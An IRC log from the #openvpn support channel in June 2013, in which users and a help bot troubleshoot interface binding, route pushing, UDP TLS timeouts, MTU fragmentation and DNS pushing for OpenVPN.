16:30 < dangerarea> is there a way to get openvpn to bond to one interface?
16:30 < dangerarea> otherwise I'll just get 3 VPNs over one of the cards!
16:32 < Thermi> so you want one vpn per bond member?
16:32 < dangerarea> Thermi: yes
16:32 < Thermi> Perhaps you can just bind them to the interface and not the ip
16:32 < dangerarea> I've found no option for doing that
16:33 < Thermi> ./
16:33 < EugeneKay> openvpn binds to an IP, not a physical interface
16:33 < EugeneKay> It is a layer 3 protocol.
16:34 < dangerarea> so some kind of if-up script calling it with the address given to me by the 3G card might do it?
16:35 < EugeneKay> What are you trying to do? Load-balance a client across 3 cards?
16:36 < dangerarea> I'm trying to send the same data over 3 different poor links to almost guarantee that I'll be able to get the data back the other end in a timely manner
16:36 < dangerarea> bonding in broadcast mode
16:36 < EugeneKay> That's what TCP is for.
16:39 < dangerarea> it's for audio broadcast links from mobile locations and the codecs either end use RTP
16:40 < EugeneKay> There's these things, called "phone calls".
16:41 < EugeneKay> But there's nothing built into openvpn for that
16:41 < dangerarea> not exactly broadcast quality though
16:41 < EugeneKay> You can use `ip` magic to do the bonding
16:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:48 < dangerarea> I think i'll try going down the route of if-up scripts kicking off a connection binding to the IP of the interface that has just connected
16:49 < dangerarea> thanks for pointing out that it's operating on layer 3 EugeneKay, that's the kick I needed
16:49 < EugeneKay> Tada.
17:11 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nmzdvhgjfwlnxsnu] has joined #openvpn
17:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:15 -!- nutron|w [~nutron@24.67.96.21] has quit [Quit: I must go eat my cheese!]
17:16 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:02 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:04 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 260 seconds]
18:26 -!- master_of_master [~master_of@p4FF24345.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:28 -!- master_of_master [~master_of@p4FF2440F.dip0.t-ipconnect.de] has joined #openvpn
18:42 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 256 seconds]
18:42 -!- emmanuel__ [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
18:52 -!- averagecase [~anon@dslb-092-072-165-117.pools.arcor-ip.net] has joined #openvpn
19:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:12 < EmLeX> anyone awake?
19:12 < EmLeX> got small problem
19:12 < EmLeX> when i use float in my config it takes 2 minutes before it starts sending data from the 2nd wan after a failover
19:13 < EmLeX> is there some place i can adjust down the time it takes to jump?
19:17 -!- averagecase [~anon@dslb-092-072-165-117.pools.arcor-ip.net] has quit [Quit: Verlassend]
19:25 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:36 -!- NSA|verified is now known as excalibr
19:41 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
19:42 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
19:47 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 264 seconds]
19:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:38 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 245 seconds]
21:40 -!- naquad [~naquad@naquad.me] has joined #openvpn
21:40 < naquad> hi
21:40 < naquad> i have a server that sends default route. can i somehow make client don't set it?
21:41 < naquad> just establish connection to server w/o replacing own gatway
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:15 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
22:23 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
22:30 <@krzee> hai
22:50 -!- emmanuel__ [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Ping timeout: 245 seconds]
23:21 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has joined #openvpn
23:21 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has quit [Client Quit]
23:37 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
--- Day changed Sun Jun 09 2013
00:13 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 260 seconds]
00:26 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:27 -!- baobeiiiii [~baobeiiii@192.73.240.212] has joined #openvpn
00:34 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:36 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
01:33 < EugeneKay> !redir
01:33 < EugeneKay> !redirect
01:33 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:33 <@vpnHelper> http://ircpimps.org/redirect.png
01:33 < EugeneKay> naquad - Yes, so long as the server has the ipforward and nat stuff, as above ^
01:33 < EugeneKay> Oh wait, you want it to NOT be set
01:34 < EugeneKay> !nopull
01:34 < EugeneKay> !man
01:34 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
01:35 < EugeneKay> See --route-nopull ^
01:35 < naquad> EugeneKay, thanks. i've already configured it. route-nopull didn't suit my needs because it was also disabling vpn network routing (10.9.1.0/24), so i did it from ccd: push-reset and push "10.9.1.0 255.255.255.0"
01:36 < EugeneKay> Yes, you would need to then explicitly state the routes on the client
01:37 < EugeneKay> This is no different from what you're doing
01:45 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
02:06 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
02:07 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
02:22 -!- baobeiiiii_ [~baobeiiii@180.154.233.155] has joined #openvpn
02:23 -!- baobeiiiii [~baobeiiii@192.73.240.212] has quit [Read error: Connection reset by peer]
02:28 -!- Migo [~migo@bzq-79-182-203-254.red.bezeqint.net] has joined #openvpn
02:32 -!- brad`_ [~brad@78.129.242.122] has joined #openvpn
02:33 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:35 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
02:35 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
02:35 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
02:35 -!- ngharo_ [~ngharo@nexus.sypherz.com] has joined #openvpn
02:35 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
02:36 -!- riddle [riddle@us.yunix.net] has joined #openvpn
02:36 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
02:37 -!- mete- [~mete@mete.shell.la] has joined #openvpn
02:38 -!- C_S_B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
02:38 -!- Migo [~migo@bzq-79-182-203-254.red.bezeqint.net] has quit [Ping timeout: 276 seconds]
02:38 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 276 seconds]
02:38 -!- Kalavera_ [~Kalavera@aquiles.novelix.com.pe] has quit [Ping timeout: 276 seconds]
02:38 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 276 seconds]
02:38 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Ping timeout: 276 seconds]
02:38 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Ping timeout: 276 seconds]
02:38 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 276 seconds]
02:38 -!- brad [~brad@78.129.242.122] has quit [Ping timeout: 276 seconds]
02:38 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
02:38 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
02:38 -!- Migo [~migo@bzq-79-182-203-254.red.bezeqint.net] has joined #openvpn
02:38 -!- Migo [~migo@bzq-79-182-203-254.red.bezeqint.net] has quit [Changing host]
02:38 -!- Migo [~migo@unaffiliated/migo] has joined #openvpn
02:48 -!- Chaot_s [~chaot_s@d54C4015D.access.telenet.be] has joined #openvpn
02:50 < Chaot_s> Hi all, is there a way to set "local a.b.c.d" to the ip currently given via DHCP from my isp?
02:54 -!- patelx2 [~cp@voyager.chirayu.net] has joined #openvpn
03:00 < Aketzu_> why not bind to all interfaces?
03:01 < Chaot_s> because that wouldn't fix the problem i guess
03:01 < Chaot_s> or set local 0.0.0.0 ?
03:02 < Aketzu_> what is the problem?
03:02 < Chaot_s> i have a dns name set for my end of a tunnel.
03:02 < Chaot_s> that name updates when my ip changes (dyndns alike)
03:03 < Chaot_s> so the remote end can resolve my tunnel end
03:03 < Chaot_s> though if openvpn doesn't listen on the ip... a tunnel wont build...
03:03 < Aketzu_> .. just listen to all
03:03 -!- patelx2 [~cp@voyager.chirayu.net] has quit [Ping timeout: 255 seconds]
03:03 < Aketzu_> i.e. remove the "local" config line
03:04 < Chaot_s> what are the other concequences of doing that?
03:04 < Aketzu_> then it listens on all interfaces
03:04 < Aketzu_> if you have multiple network adapters you can connect to any one of them
03:05 < Chaot_s> that includes 4 eth's and 6 tun's
03:05 < Chaot_s> will openvpn bind to the tun's too?
03:05 < Aketzu_> yeah
03:06 < Chaot_s> hmzz i'll have to look in to that then XD
03:06 < Aketzu_> does it really matter?
03:06 < Chaot_s> if it wouldn't clash with current forwarding ports and such
03:06 < Aketzu_> it's only one port what it listens
03:07 < Chaot_s> i can always drop traffin on the firewall if i consider it a threat risk :)
03:07 < Aketzu_> unless you use the same port for different things/programs it doesn't matter
03:07 < Chaot_s> thats what i'm in doubt of XD
03:07 < Chaot_s> there are some very wierd forwardings
03:08 < Chaot_s> though until now no clash in ports
03:09 < Chaot_s> if every person in the vpn ring followed the "rules" the port range should be free
03:10 < Chaot_s> i kind of "dedicated" a range of 100 ports for openvpn tunnels and some bridged nat / forward stuff
03:13 < Chaot_s> it indeed fixes the problem partially :)
03:13 < Chaot_s> thanx Aketzu_ :)
03:13 < Aketzu_> when in doubt, delete code/settings/whatever :)
03:13 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
03:14 < Chaot_s> lol, most of the time i kind of validate the awnsers i get :)
03:14 < Chaot_s> its more like, you have a lot of people in these support channels that just say something without having any idea why
03:15 < Aketzu_> sometimes yes
03:15 < Aketzu_> then again it's hard to whether you have single tunnel on a home computer or some more complicated setup
03:15 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 248 seconds]
03:15 < Chaot_s> its kind of a wierd thing XD
03:16 < Chaot_s> it started out with red alert (the game)
03:16 < Chaot_s> a simpel tap to a friend
03:16 < Chaot_s> then it was too small.. so it became  a central server and incomming connections...
03:17 < Chaot_s> that worked, though kind of overloaded my upload, since all client traffic came via the links
03:17 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
03:17 < Aketzu_> :)
03:17 < Chaot_s> so we setup server to server links..
03:17 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
03:17 < Aketzu_> I can see a small feature creep there :)
03:18 < Chaot_s> and now the "network" has grown to 7 servers linking about 90 computers :)
03:18 < Chaot_s> rip / ospf was added...
03:18 < Chaot_s> and that all started with a game that could not be played outside a lan XD
03:19 < Aketzu_> doom should work with the same setup :)
03:19 < Aketzu_> modern ipx gaming :)
03:19 < Chaot_s> most games work, or need a small proxy to link / translate the remote ip's
03:20 < Chaot_s> the central servers get used for that :)
03:21 < Chaot_s> now the servers handle all internet traffic, filter spam / unsafe domains, host some small websites
03:21 < Chaot_s> it has gotten out of hand kinda XD
03:21 < Aketzu_> next step is to start your own hosting company :)
03:22 < Chaot_s> there is about 550Mbit upload cappacity in this setup XD
03:22 < Chaot_s> 5 locations have 100/100Mbit links
03:23 < Chaot_s> the other is 100/40 and the last is 120/10
03:23 < Chaot_s> makes it rather wierd... i have the slowest uplink...
03:24 < Chaot_s> there is no ftth option here
03:24 < Chaot_s> okay there are, though not in options less then 100 euro a month
03:25 < Chaot_s> and hosting company... meh... there are 1000's of those, nothing to gather there.
03:26 < Aketzu_> retro game hosting :)
03:26 < Chaot_s> i'll stick to integrations / internal sites / planning systems and such
03:26 < Aketzu_> do you still play red alert?
03:27 < Chaot_s> every now and then :)
03:27 < Aketzu_> one of those games that just hearing the name makes me want to play it again
03:27 < Chaot_s> heheh :)
03:27 < Chaot_s> you can do that online now :)
03:28 < Chaot_s> no need to install :)
03:28 < Chaot_s> its legal
03:28 < Chaot_s> and there is always someone to play against :)
03:31 < Chaot_s> http://openra.res0l.net/
03:31 <@vpnHelper> Title: OpenRA - Home (at openra.res0l.net)
03:31 < Chaot_s> i know a wierd domain name, it got me suspicous at first
03:31 < Chaot_s> though its part of a larger network
03:31 < Aketzu_> laalaalaa, not hearing anything (or seeing)
03:31 < Aketzu_> [should get something else done today]
03:32 < Chaot_s> hehehe :)
03:32 < Chaot_s> sorry XD
03:32 < excalibr> open red alert?
03:32 < Chaot_s> jups open red alert :)
03:32 < excalibr> ツ
03:33 < Chaot_s> that game was the reason for my freaky "home" network XD
03:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:34 < Chaot_s> every now and then we invade the network with some 50 to 60 players XD
03:37 < Chaot_s> argh i hate bind.
03:38 < Chaot_s> resolve if forwareders can not.. yes i want that... forwarder is down... you would guess it would resolve by itself.. nope... it doesn't
03:38 < Chaot_s> argh
03:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:47 -!- Migo [~migo@unaffiliated/migo] has quit [Quit: cu]
03:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:06 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:14 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:32 -!- baobeiiiii_ [~baobeiiii@180.154.233.155] has quit [Quit: Leaving]
05:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:36 < i7c> when i come home i plug eth cable to my lappy and so the prior used wlan0 goes down and eth comes up... is it possible to make openvpn see that and do a reconnect? because right now it goes nuts with 100% cpu usage :o
05:42 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:49 < EugeneKay> i7c - --ping-restart
05:50 < Aketzu_> 100% cpu sounds like a bug even still
05:50 < EugeneKay> Ya
05:51 < Aketzu_> I wonder does high enough verbosity tell something useful
05:51 < EugeneKay> Or something set up wrong
05:58 < i7c> i see. will check high verbosity
06:02 < i7c> verb 4 shows nothing at all.
06:02 < i7c> i mean after putting the interface down.
06:14 < Aketzu_> verb 11 is max
06:17 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:19 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:40 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
06:57 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
06:57 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
07:00 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
07:03 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 246 seconds]
07:36 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 264 seconds]
08:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:32 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 256 seconds]
08:34 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
08:56 -!- thmzz [~thmzz@80.241.95.146] has joined #openvpn
08:58 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
09:02 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
09:20 -!- dimm0k_ [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has quit [Quit: leaving]
09:29 -!- mete- is now known as mete
10:07 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
10:14 -!- Assid [~assid@unaffiliated/assid] has joined #openvpn
10:14 < Assid> heya
10:20 < Assid> so im trying to move my vpn instances from TCP to udp.. so i created a new server  instance.. if i simply change from UDP to TCP it works fine.. if i keep it as UDP i get " TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)"
10:21 < Assid> i really dont have any firewall rules designed to drop any packets..just to nat the ones who come in over vpn
10:21 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
10:22 < EugeneKay> Are you NATing UDP? ;-)
10:25 < Assid> nah.. the connections so they connect out through the server
10:25 < Assid> problem isnt the nat.. problem is i cant get the connection to stick
10:26 < Assid> server says :  read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
10:26 < Assid> client side says " TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)"
10:27 < Assid> ok server also said the same now
10:27 < EmLeX> Assid: have you changed configs/ports on both sides for udp
10:27 < Assid> EmLeX: yes.. if it werent the same.. i wouldnt geta  connection refused
10:28 < Assid> wait lemme try something .. found an forum response
10:32 < Assid> nope didnt work
10:33 < Assid> any suggestions
10:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:42 < EmLeX> Assid: it sounds like some firewall is blocking
10:42 < EmLeX> but yea
10:43 < Assid> tcp works fine tho
10:43 < Assid> let me try from another device
10:49 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
10:50 < Poster> A firewall can block UDP and allow TCP - they can be treated individually
10:52 < Assid> yeah but i dont have any firewall rule blocking it..
10:52 < Poster> are you seeing log entries on both the client and server pertaining to the UDP timeouts?
10:53 < Assid> yes
10:53 <@krzee> !timeout
10:53 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
10:53 < Assid> and i am able to connect to another service like "private internet access" fine
10:54 < Assid> so the client side is clean
10:55 < Assid> the server itself is a dedicated server from softlayer.. and should NOT have anything blocking it..
10:55 <@krzee> !timeout
10:55 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
10:55 <@krzee> oops misfire :)
10:55 < Assid> http://pastebin.com/Uwm7BKXD
10:55 < Assid> thats the iptables rules on the server
10:57 < Assid> krzee: and i do get this on the server  TLS: Initial packet from [AF_INET]59.183.140.73:59174, sid=c89ee323 cb20a128
10:59 <@krzee> -A POSTROUTING -o tun+ -j MASQUERADE
10:59 <@krzee> wtf?
11:01 <@krzee> !ping
11:01 <@vpnHelper> pong
11:01 <@krzee> damn im so lagged to my bnc
11:01 <@krzee> or maybe from bnc to IRC, but somewhere this irc connecting is sucking
11:02 < Poster> I think freenode has been under DoS attack for awhile, might be feeling the effects of that
11:02 < Assid> ok this doesnt make sense.. it shows an initial packet.. just dont get why my packets are being dropped
11:02 < Assid> or whatshappening to it
11:02 <@krzee> connection*
11:03 < clever> Assid: i think ive seen that when the NAT at the client side was screwing arround with things
11:03 <@krzee> Assid, get rid of this: -A POSTROUTING -o tun+ -j MASQUERADE
11:03 < clever> it usualy fixed itself if i just stopped the client for an hour, to let its NAT tables clear out
11:03 <@krzee> and whats bond1?  not vpn related right?
11:03 < Assid> clever: im able to connect to other vpn services fine (UDP based)
11:04 < Assid> krzee: servers' bonded interface
11:04 < clever> because you havent connected to them recently
11:04 <@krzee> not related to vpn, right?
11:05 < Assid> krzee: no thats the main interface
11:05 <@krzee> just making sure you arent trying to bond a tun device
11:05 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
11:05 < Assid> clever: i can connect/reconnect to those .. no problem
11:06 < clever> i didnt say you couldnt
11:06 < clever> but every now and then the NAT will crap itself, and block everything
11:06 < Assid> krzee: nope.. works flawlessly if i use tcp thats where im stuck. i wanna move it to UDP the way it should be
11:06 < Assid> clever:  i restarted the firewall on the router too
11:07 < clever> the issue isnt the firewall itself, its the conntrack tables
11:07 < Poster> if you flip to TCP, does everything still work?
11:07 <@krzee> !forward
11:08 < Assid> Poster: yeah. i kept disabling every darn modification to try and make it vanilla
11:08 <@krzee> i would simplify my firewall for testing, your tun+ nat rule needs to go, and why not just blindly allow all tun+ forwarding
11:08 < Poster> can you verify that both client and server clocks are accurate?
11:09 < Assid> krzee: cleared the iptables as well.. no go
11:09 < Assid> Poster: yes
11:10 < Assid> both sync to ntp
11:10 < Poster> do you have another OpenVPN client you can test with, preferably local to the OpenVPN server or coming from another path
11:11 < Assid> this is my 2nd one.. i tried first from my openwrt router (which i generally connect with) .. now on my laptop
11:12 <@krzee> he'ld get a ssl error if it were time
11:12 <@krzee> !timeout
11:12 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
11:12 <@krzee> its one of those ^.  if its not your firewall then its one of your ISPs
11:14 < Assid> can someone tarball a entire config with keys.. and perhaps you can connect to my server ?
11:25 -!- nonuby [~nonuby@unaffiliated/nonuby] has joined #openvpn
11:27 < nonuby> my MTU is 1500 (i can ping -s 1472 my vpn server without frag (20 ip header + 8 icmp). docs now suggest leaving tun on client/server at 1500 and using fragment/mssfix option to avoid fragmentation. if I understand correctly the value for fragment is worked backwards including the overhead but excluding the udp header, so I should set fragment at 1472?
11:31 -!- brad`_ is now known as brad
11:33 < nonuby> yet people seem to suggest this mythical value of 1400 for fragment. when I suspect I should set it at 1472, the docs also mention --fragment adds 4 bytes of overhead per datagram but not clear if that discounted already, so perhaps 1468?
11:39 -!- Assid [~assid@unaffiliated/assid] has quit [Read error: Connection reset by peer]
11:44 -!- nonuby [~nonuby@unaffiliated/nonuby] has quit [Remote host closed the connection]
12:04 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
12:04 -!- mode/#openvpn [+v hazardous] by ChanServ
12:11 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
12:42 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
13:10 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
13:12 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:28 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
13:34 -!- Assid [~kvirc@unaffiliated/assid] has quit [Ping timeout: 276 seconds]
14:20 < majuscule> !goal
14:20 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:21 < majuscule> !iptables
14:21 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf
14:21 <@vpnHelper> or iptables or (#4) These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
14:24 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:30 < majuscule> !logs
14:30 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:30 < majuscule> !configs
14:30 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
14:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:44 < majuscule> !rt
14:44 < majuscule> !redirect
14:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:44 <@vpnHelper> http://ircpimps.org/redirect.png
14:44 < majuscule> !def1
14:44 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:56 < majuscule> I've connected to my openvpn server, and am using push "dhcp-option DNS 10.9.8.1" push "redirect-gateway def1". I can `dig @10.9.8.1 duckduckgo.com` from my client, but the system is not using the new DNS address for resolving. What mistake might I be making?
14:56 < Aketzu_> cat /etc/resolv.conf
14:58 < majuscule> http://dpaste.com/1223622/
14:59 < Aketzu_> doesn't seem to contain "nameserver 10.9.8.1" line
14:59 < majuscule> true :-)
14:59 < majuscule> i'm wondering why that's not getting pushed though
14:59 < majuscule> hmm
15:00 < majuscule> let me explore some more on my own
15:00 < Aketzu_> is the vpn always on?
15:00 < Aketzu_> (then you could add to /etc/resolv.conf.tail)
15:01 < pekster> majuscule:
15:01 < pekster> !pushdns
15:01 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
15:02 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
15:03 < pekster> On non-Windows systems (ie: Unix-alikes) you need client-side hooks to deal with that. And Windows gets complicated too due to each interface having its "own" DNS servers and search suffixes that (eventually, if you wait 0-15 minutes) update the "global search list"
15:05 < majuscule> thanks pekster! i am using dhcp-option DNS though, as I mentioned above. Aketzu_ it's not, but I can figure something out with an up/down script i suppose. I realize though - I mispoke :-( I think the problem is deeper: when I dig @10.9.8.1 on my server, i get a valid response, but when I dig from my client, I get a response but it's an error, recursion requested but not available. I apologize for my mistake
15:05 < Aketzu_> dns server isn't configured to allow queries from that address
15:06 < majuscule> that sounds right :-) i wonder how to start looking into fixing that? I don't have control over the dns machine, my server is an amazon ec2 instance
15:14 < Aketzu_> well... the dns server is configured to accept only certains ip addresses so...
15:17 < majuscule> heh, right, i was hoping there might be a common way to masquerade as a different ip for the sake of the vpn, but it's okay if there's not
15:18 < majuscule> i run my own DNS server as well, although only authoritative for my domains, perhaps I can whitelist recursion for 10.9.8.0/24
15:20 < Aketzu_> just whitelist 10/8
15:21 < majuscule> awesome :-)
15:26 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:26 -!- madsage [sage@2001:470:c:1292::2] has joined #openvpn
15:26 < madsage> word
15:26 < madsage> sup krzee
15:29 < pekster> Unless you're using BIND views or something, I often find it easier to do control of inbound requests through the firewall, but there are many ways to do that kind of control depending on your situation
15:31 < madsage> so i'm trying something with openvpn. i have a winders2003x64 box i'm trying to bridge tap device to ethernet device. when i add them as bridge it kills my ethernet. how do i do this i'm remote and its a pain in the but. fortunatly i also admin the esx server and can recover with vic console.
15:32 < madsage> but/butt
